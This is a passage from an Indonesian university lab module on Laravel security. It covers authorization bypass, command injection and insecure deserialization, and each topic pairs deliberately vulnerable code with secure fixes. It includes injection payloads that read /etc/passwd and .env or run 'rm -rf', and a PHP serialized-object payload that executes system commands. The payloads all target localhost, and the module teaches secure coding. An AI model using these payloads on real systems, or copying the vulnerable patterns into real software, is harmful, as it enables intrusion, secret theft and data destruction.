<button type="submit">Delete</button>
</form>
<form method="POST" action="/vulnerable/admin/users/{{ $user->id }}/role" style="display:inline;">
@csrf
<select name="role">
<option value="user">User</option>
<option value="admin">Admin</option>
</select>
<button type="submit">Update Role</button>
</form>
</td>
</tr>
@endforeach
</table>
</body>
</html>
Route:
Route::get('/vulnerable/admin/dashboard', [AdminController::class, 'dashboardVulnerable']);
Route::post('/vulnerable/admin/users/{id}/delete', [AdminController::class, 'deleteUserVulnerable']);
Route::post('/vulnerable/admin/users/{id}/role', [AdminController::class, 'updateRoleVulnerable']);
6.3 Eksploitasi Authorization Bypass
Test Serangan:
# 1. Akses admin panel tanpa authorization
curl http://localhost:8000/vulnerable/admin/dashboard \
-H "Cookie: laravel_session=USER_SESSION"
# 2. Privilege Escalation - upgrade ke admin
curl -X POST http://localhost:8000/vulnerable/admin/users/1/role \
-d "role=admin" \
-H "Cookie: laravel_session=USER_SESSION"
# 3. Delete any user
curl -X POST http://localhost:8000/vulnerable/admin/users/2/delete \
-H "Cookie: laravel_session=USER_SESSION"
IDOR (Insecure Direct Object Reference):
// User dengan ID 5 bisa akses profile user lain
GET /user/profile/10 // Harusnya tidak bisa akses
6.4 Mitigasi Authorization Bypass
Buat Middleware:
php artisan make:middleware EnsureUserIsAdmin
File: app/Http/Middleware/EnsureUserIsAdmin.php
<?php
namespace App\Http\Middleware;
use Closure;
use Illuminate\Http\Request;
class EnsureUserIsAdmin
{
public function handle(Request $request, Closure $next)
{
if (!auth()->check()) {
return redirect('/login')->with('error', 'Please login first');
}
if (auth()->user()->role !== 'admin') {
abort(403, 'Unauthorized - Admin access required');
}
return $next($request);
}
}
Register Middleware di app/Http/Kernel.php:
protected $middlewareAliases = [
// ... middleware lain
'admin' => \App\Http\Middleware\EnsureUserIsAdmin::class,
];
Controller SECURE:
<?php
namespace App\Http\Controllers;
use App\Models\User;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Gate;
class AdminController extends Controller
{
public function __construct()
{
// Apply middleware ke semua method
$this->middleware('admin');
}
// SECURE: Dengan authorization check
public function dashboardSecure()
{
// Double check (defense in depth)
if (auth()->user()->role !== 'admin') {
abort(403);
}
$users = User::all();
return view('admin.dashboard-secure', compact('users'));
}
// SECURE: Dengan Gate
public function deleteUserSecure($id)
{
Gate::authorize('delete-user');
$user = User::findOrFail($id);
// Prevent deleting self
if ($user->id === auth()->id()) {
return redirect()->back()->with('error', 'Cannot delete yourself!');
}
$user->delete();
return redirect()->back()->with('success', 'User deleted!');
}
// SECURE: Dengan Policy
public function updateRoleSecure(Request $request, $id)
{
$user = User::findOrFail($id);
// Authorize using Policy
$this->authorize('update', $user);
$validated = $request->validate([
'role' => 'required|in:user,admin'
]);
// Prevent demoting last admin
if ($validated['role'] === 'user' && $user->role === 'admin') {
$adminCount = User::where('role', 'admin')->count();
if ($adminCount <= 1) {
return redirect()->back()->with('error', 'Cannot demote last admin!');
}
}
$user->role = $validated['role'];
$user->save();
return redirect()->back()->with('success', 'Role updated securely!');
}
}
Buat Policy:
php artisan make:policy UserPolicy --model=User
File: app/Policies/UserPolicy.php
<?php
namespace App\Policies;
use App\Models\User;
class UserPolicy
{
public function update(User $authUser, User $targetUser)
{
// Hanya admin yang bisa update
return $authUser->role === 'admin';
}
public function delete(User $authUser, User $targetUser)
{
// Admin bisa delete, tapi tidak bisa delete diri sendiri
return $authUser->role === 'admin' && $authUser->id !== $targetUser->id;
}
public function viewAny(User $user)
{
return $user->role === 'admin';
}
}
Register Policy di app/Providers/AuthServiceProvider.php:
protected $policies = [
User::class => UserPolicy::class,
];
Define Gates:
File: app/Providers/AuthServiceProvider.php
use Illuminate\Support\Facades\Gate;
public function boot()
{
Gate::define('delete-user', function ($user) {
return $user->role === 'admin';
});
Gate::define('manage-users', function ($user) {
return $user->role === 'admin';
});
}
Route SECURE:
// Protected dengan middleware
Route::middleware(['auth', 'admin'])->group(function () {
Route::get('/secure/admin/dashboard', [AdminController::class, 'dashboardSecure']);
Route::post('/secure/admin/users/{id}/delete', [AdminController::class, 'deleteUserSecure']);
Route::post('/secure/admin/users/{id}/role', [AdminController::class, 'updateRoleSecure']);
});
Best Practices Authorization:
// ✅ BAIK: Gunakan middleware
Route::middleware('admin')->group(function () { ... });
// ✅ BAIK: Gunakan Gate
if (Gate::allows('delete-user')) { ... }
Gate::authorize('delete-user');
// ✅ BAIK: Gunakan Policy
$this->authorize('update', $user);
// ✅ BAIK: Check di Blade
@can('update', $user)
<button>Edit</button>
@endcan
// ✅ BAIK: Multiple checks (defense in depth)
if (auth()->user()->role === 'admin' && Gate::allows('delete-user')) { ... }
// ❌ BURUK: Client-side only check
if (request()->input('is_admin')) { ... }
// ❌ BURUK: Tidak ada authorization check
public function deleteUser($id) { User::find($id)->delete(); }
// ❌ BURUK: Hanya check authentication, tidak check authorization
if (auth()->check()) { // allow admin action }
MODUL 7: COMMAND INJECTION
7.1 Teori Singkat
Command Injection adalah vulnerability yang memungkinkan attacker mengeksekusi sistem command arbitrary melalui aplikasi web.
7.2 Skenario Vulnerable Code
Buat Controller:
php artisan make:controller SystemController
File: app/Http/Controllers/SystemController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class SystemController extends Controller
{
// VULNERABLE: Command Injection via ping
public function pingVulnerable(Request $request)
{
$host = $request->input('host');
// BAHAYA: Input langsung ke shell command
$output = shell_exec("ping -c 4 " . $host);
return view('system.ping-vulnerable', compact('output'));
}
// VULNERABLE: Command Injection via file processing
public function convertImageVulnerable(Request $request)
{
$filename = $request->input('filename');
// BAHAYA: Filename tidak di-sanitize
$command = "convert /uploads/$filename /uploads/output.jpg";
exec($command, $output, $return_var);
return view('system.convert', compact('output'));
}
}
File: resources/views/system/ping-vulnerable.blade.php
<!DOCTYPE html>
<html>
<head>
<title>Ping Tool - VULNERABLE</title>
</head>
<body>
<h1>Ping Tool (VULNERABLE)</h1>
<form method="POST" action="/vulnerable/system/ping">
@csrf
<label>Host to ping:</label>
<input type="text" name="host" placeholder="example.com">
<button type="submit">Ping</button>
</form>
@if(isset($output))
<h2>Output:</h2>
<pre>{{ $output }}</pre>
@endif
</body>
</html>
Route:
Route::post('/vulnerable/system/ping', [SystemController::class, 'pingVulnerable']);
7.3 Eksploitasi Command Injection
Test Serangan:
# Payload 1: Command chaining dengan semicolon
Host: example.com; ls -la
# Payload 2: Command chaining dengan &&
Host: example.com && cat /etc/passwd
# Payload 3: Command chaining dengan ||
Host: example.com || whoami
# Payload 4: Command chaining dengan pipe
Host: example.com | cat .env
# Payload 5: Command substitution
Host: example.com `cat .env`
Host: example.com $(whoami)
# Payload 6: Backtick injection
Host: `rm -rf storage/*`
# Payload 7: Redirect output
Host: example.com > /dev/null; cat .env > public/exposed.txt
Akses hasil:
http://localhost:8000/exposed.txt
7.4 Mitigasi Command Injection
Controller SECURE:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
use Symfony\Component\Process\Process;
use Symfony\Component\Process\Exception\ProcessFailedException;
class SystemController extends Controller
{
// SECURE: Dengan validasi dan whitelisting
public function pingSecure(Request $request)
{
$validated = $request->validate([
'host' => 'required|ip|max:15' // Hanya terima IP valid
]);
$host = $validated['host'];
// Metode 1: Menggunakan escapeshellarg()
$host = escapeshellarg($host);
$output = shell_exec("ping -c 4 $host 2>&1");
return view('system.ping-secure', compact('output'));
}
// SECURE: Menggunakan Symfony Process
public function pingSecureV2(Request $request)
{
$validated = $request->validate([
'host' => 'required|regex:/^[a-zA-Z0-9.-]+$/|max:255'
]);
// Metode 2: Symfony Process (Recommended)
$process = new Process(['ping', '-c', '4', $validated['host']]);
try {
$process->mustRun();
$output = $process->getOutput();
} catch (ProcessFailedException $exception) {
$output = "Error: " . $exception->getMessage();
}
return view('system.ping-secure', compact('output'));
}
// SECURE: Dengan whitelist domain
public function pingSecureV3(Request $request)
{
$allowedHosts = [
'google.com',
'example.com',
'localhost'
];
$host = $request->input('host');
if (!in_array($host, $allowedHosts)) {
return back()->with('error', 'Host not allowed!');
}
$process = new Process(['ping', '-c', '4', $host]);
$process->run();
$output = $process->getOutput();
return view('system.ping-secure', compact('output'));
}
// SECURE: Alternatif tanpa shell command
public function checkHostSecure(Request $request)
{
$validated = $request->validate([
'host' => 'required|url'
]);
// Gunakan PHP function native
$host = parse_url($validated['host'], PHP_URL_HOST);
$ip = gethostbyname($host);
$isReachable = ($ip !== $host) ? 'Host is reachable' : 'Host not found';
return view('system.check-host', compact('host', 'ip', 'isReachable'));
}
}
Best Practices Command Injection Prevention:
// ✅ BAIK: Hindari shell command jika memungkinkan
// Gunakan PHP functions: file_get_contents(), gethostbyname(), dll
// ✅ BAIK: Gunakan Symfony Process Component
$process = new Process(['command', 'arg1', 'arg2']);
$process->run();
// ✅ BAIK: Escape input dengan escapeshellarg()
$safe = escapeshellarg($userInput);
shell_exec("command $safe");
// ✅ BAIK: Validasi ketat dengan regex
'input' => 'required|regex:/^[a-zA-Z0-9._-]+$/'
// ✅ BAIK: Whitelist input
if (!in_array($input, $allowedValues)) { abort(400); }
// ❌ BURUK: Concatenate user input
shell_exec("command " . $userInput);
// ❌ BURUK: exec(), system(), passthru() dengan user input
exec("command " . $_GET['param']);
// ❌ BURUK: Percaya input user
shell_exec("ping " . $request->input('host'));
Disable Dangerous Functions:
File: php.ini
disable_functions = exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source
MODUL 8: INSECURE DESERIALIZATION
8.1 Teori Singkat
Insecure Deserialization terjadi ketika aplikasi deserialize data yang tidak terpercaya tanpa validasi yang proper, memungkinkan attacker mengeksekusi arbitrary code.
8.2 Skenario Vulnerable Code
Buat Controller:
php artisan make:controller SerializationController
File: app/Http/Controllers/SerializationController.php
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class SerializationController extends Controller
{
// VULNERABLE: Deserialization dari user input
public function loadDataVulnerable(Request $request)
{
$serialized = $request->input('data');
// BAHAYA: unserialize() dari user input
$data = unserialize($serialized);
return view('serialization.result', compact('data'));
}
// VULNERABLE: Deserialize dari cookie
public function processUserPreferences(Request $request)
{
$preferences = $request->cookie('preferences');
if ($preferences) {
// BAHAYA: Cookie bisa dimodifikasi client
$data = unserialize(base64_decode($preferences));
// Process preferences...
}
return view('preferences.show');
}
}
8.3 Eksploitasi Insecure Deserialization
Malicious Class untuk Exploit:
<?php
class Evil {
private $command;
public function __construct($cmd) {
$this->command = $cmd;
}
// Magic method dipanggil saat unserialize
public function __destruct() {
system($this->command);
}
}
// Generate payload
$evil = new Evil('cat .env > public/hacked.txt');
$serialized = serialize($evil);
echo base64_encode($serialized);
// Output: Tzo0OiJFdmlsIjoxOntzOjEzOiIARXZpbABjb21tYW5kIjtzOjI3OiJjYXQgLmVudiA+IHB1YmxpYy9oYWNrZWQudHh0Ijt9
Test Serangan:
# Send malicious serialized data
curl -X POST http://localhost:8000/vulnerable/load-data \
-d "data=Tzo0OiJFdmlsIjoxOntzOjEzOiIARXZpbABjb21tYW5kIjtzOjI3OiJjYXQgLmVudiA+IHB1YmxpYy9oYWNrZWQudHh0Ijt9"
8.4 Mitigasi Insecure Deserialization
Controller SECURE:
<?php
namespace App\Http\Controllers;
use Illuminate\Http\Request;
class SerializationController extends Controller
{
// SECURE: Gunakan JSON instead of serialize
public function loadDataSecure(Request $request)
{
$jsonData = $request->input('data');
// JSON lebih aman karena tidak execute code
$data = json_decode($jsonData, true);
// Validate structure
if (!is_array($data) || !isset($data['expected_key'])) {
return back()->with('error', 'Invalid data format');
}
return view('serialization.result', compact('data'));
}
// SECURE: Sign serialized data
public function savePreferencesSecure(Request $request)
{
$preferences = [
'theme' => $request->input('theme'),
'language' => $request->input('language')
];
// Sign dengan HMAC
$serialized = serialize($preferences);
$signature = hash_hmac('sha256', $serialized, config('app.key'));
$signed = base64_encode($serialized . '|' . $signature);
return response()
->view('preferences.show')
->cookie('preferences', $signed);
}
public function loadPreferencesSecure(Request $request)
{
$signed = $request->cookie('preferences');
if (!$signed) {
return view('preferences.show');
}
$decoded = base64_decode($signed);
$parts = explode('|', $decoded);
if (count($parts) !== 2) {
return back()->with('error', 'Invalid preferences data');
}
list($serialized, $signature) = $parts;
// Verify signature
$expected = hash_hmac('sha256', $serialized, config('app.key'));
if (!hash_equals($expected, $signature)) {
return back()->with('error', 'Preferences data has been tampered!');
}
// Safe to unserialize
$preferences = unserialize($serialized);
return view('preferences.show', compact('preferences'));
}
}
Best Practices Deserialization:
// ✅ BAIK: Gunakan JSON
$data = json_decode($input, true);
// ✅ BAIK: Validate dan sign serialized data
$signature = hash_hmac('sha256', $serialized, $key);
// ✅ BAIK: Gunakan Laravel's encrypted cookies
Cookie::queue('data', $value); // Auto-encrypted & signed
// ✅ BAIK: Whitelist allowed classes (PHP 7+)
$data = unserialize($input, ['allowed_classes' => ['MyClass']]);
// ✅ BAIK: Validate structure setelah deserialization
if (!$data instanceof ExpectedClass) { abort(400); }
// ❌ BURUK: unserialize() dari user input
$data = unserialize($_POST['data']);
// ❌ BURUK: Deserialize tanpa signature verification
$data = unserialize(base64_decode($_COOKIE['data']));
TUGAS PERTEMUAN 2
Tugas Mandiri
-
File Upload Vulnerability:
- Implementasikan upload avatar user dengan vulnerability
- Upload web shell dan eksekusi command
- Perbaiki dengan validasi lengkap dan private storage
-
Authorization Bypass:
- Buat sistem management user dengan IDOR vulnerability
- Lakukan privilege escalation
- Implementasikan Policy dan Gate dengan benar
-
Command Injection:
- Buat fitur backup database dengan vulnerability
- Eksekusi arbitrary command
- Perbaiki menggunakan Symfony Process
-
Insecure Deserialization:
- Buat fitur export/import settings dengan serialization
- Buat payload untuk RCE
- Implementasikan signed serialization atau JSON
Project Akhir
Buat Aplikasi E-Commerce Sederhana dengan:
-
Features:
- User registration & login
- Product catalog dengan search
- Shopping cart
- Checkout process
- Admin panel
-
Implementasikan Security:
- ✅ SQL Injection prevention
- ✅ XSS prevention
- ✅ CSRF protection
- ✅ Mass Assignment protection
- ✅ Secure file upload
- ✅ Proper authorization
- ✅ Input validation
- ✅ Security headers
-
Testing:
- Lakukan penetration testing
- Dokumentasikan vulnerabilities yang ditemukan
- Implementasikan fixes
Laporan Praktikum 2
Buat laporan lengkap yang berisi:
- Screenshot hasil eksploitasi setiap vulnerability
- Analisis code vulnerable vs secure
- Penjelasan teknis setiap serangan
- Implementasi mitigasi
- Testing hasil perbaikan
- Project akhir dengan security checklist
KESIMPULAN
Rangkuman
Praktikum ini telah membahas berbagai eksploitasi web pada aplikasi Laravel dan cara mengantisipasinya:
Pertemuan 1:
- SQL Injection - Gunakan Eloquent ORM dan parameter binding
-
XSS - Escape output dengan
{{ }}dan implementasi CSP -
CSRF - Gunakan
@csrftoken di semua form -
Mass Assignment - Definisikan
$fillableatau$guardeddi model
Pertemuan 2:
- File Upload - Validasi tipe file, gunakan storage private, generate unique filename
- Authorization - Implementasikan middleware, Policy, dan Gate
- Command Injection - Hindari shell command, gunakan Symfony Process
- Deserialization - Gunakan JSON atau signed serialization
Key Takeaways
- Defense in Depth: Implementasikan multiple layers of security
- Validate Everything: Never trust user input
- Least Privilege: Berikan akses minimum yang diperlukan
- Secure by Default: Laravel sudah secure, jangan nonaktifkan fitur security
- Keep Updated: Selalu update Laravel dan dependencies
- Security Testing: Regular penetration testing dan code review
Security Checklist untuk Laravel
☑ Gunakan Eloquent ORM (bukan raw SQL)
☑ Escape semua output dengan {{ }}
☑ Enable CSRF protection (@csrf di semua form)
☑ Definisikan $fillable/$guarded di semua Model
☑ Validasi semua input dengan Request Validation
☑ Gunakan middleware untuk authentication & authorization
☑ Implementasikan Policy/Gate untuk complex authorization
☑ Simpan file upload di private storage
☑ Hash password dengan bcrypt/argon2
☑ Gunakan HTTPS di production
☑ Set security headers (CSP, X-Frame-Options, dll)
☑ Disable debug mode di production (APP_DEBUG=false)
☑ Protect .env file
☑ Rate limiting untuk API dan login
☑ Log security events
☑ Regular security updates
Resources Tambahan
Dokumentasi:
- Laravel Security: https://laravel.com/docs/10.x/security
- OWASP Top 10: https://owasp.org/www-project-top-ten/
- Laravel Best Practices: https://github.com/alexeymezenin/laravel-best-practices
Tools:
- Laravel Debugbar: Debugging
- PHPStan: Static Analysis
- Laravel Security Checker: Vulnerability Scanner
Books:
- "Web Application Security" by Andrew Hoffman
- "The Tangled Web" by Michal Zalewski
KRITERIA PENILAIAN
Penilaian Laporan (40%)
- Kelengkapan dokumentasi: 10%
- Screenshot dan penjelasan: 10%
- Analisis code: 10%
- Kesimpulan: 10%
Penilaian Praktik (40%)
- Berhasil eksploitasi: 15%
- Implementasi fix: 15%
- Code quality: 10%
Project Akhir (20%)
- Fungsionalitas aplikasi: 5%
- Implementasi security: 10%
- Dokumentasi: 5%
Selamat Belajar & Stay Secure! 🔒
Catatan: Semua eksploitasi dalam praktikum ini hanya untuk tujuan pembelajaran. JANGAN gunakan teknik ini untuk menyerang sistem yang bukan milik Anda. Ini adalah tindakan ilegal dan tidak etis.
Top comments (0)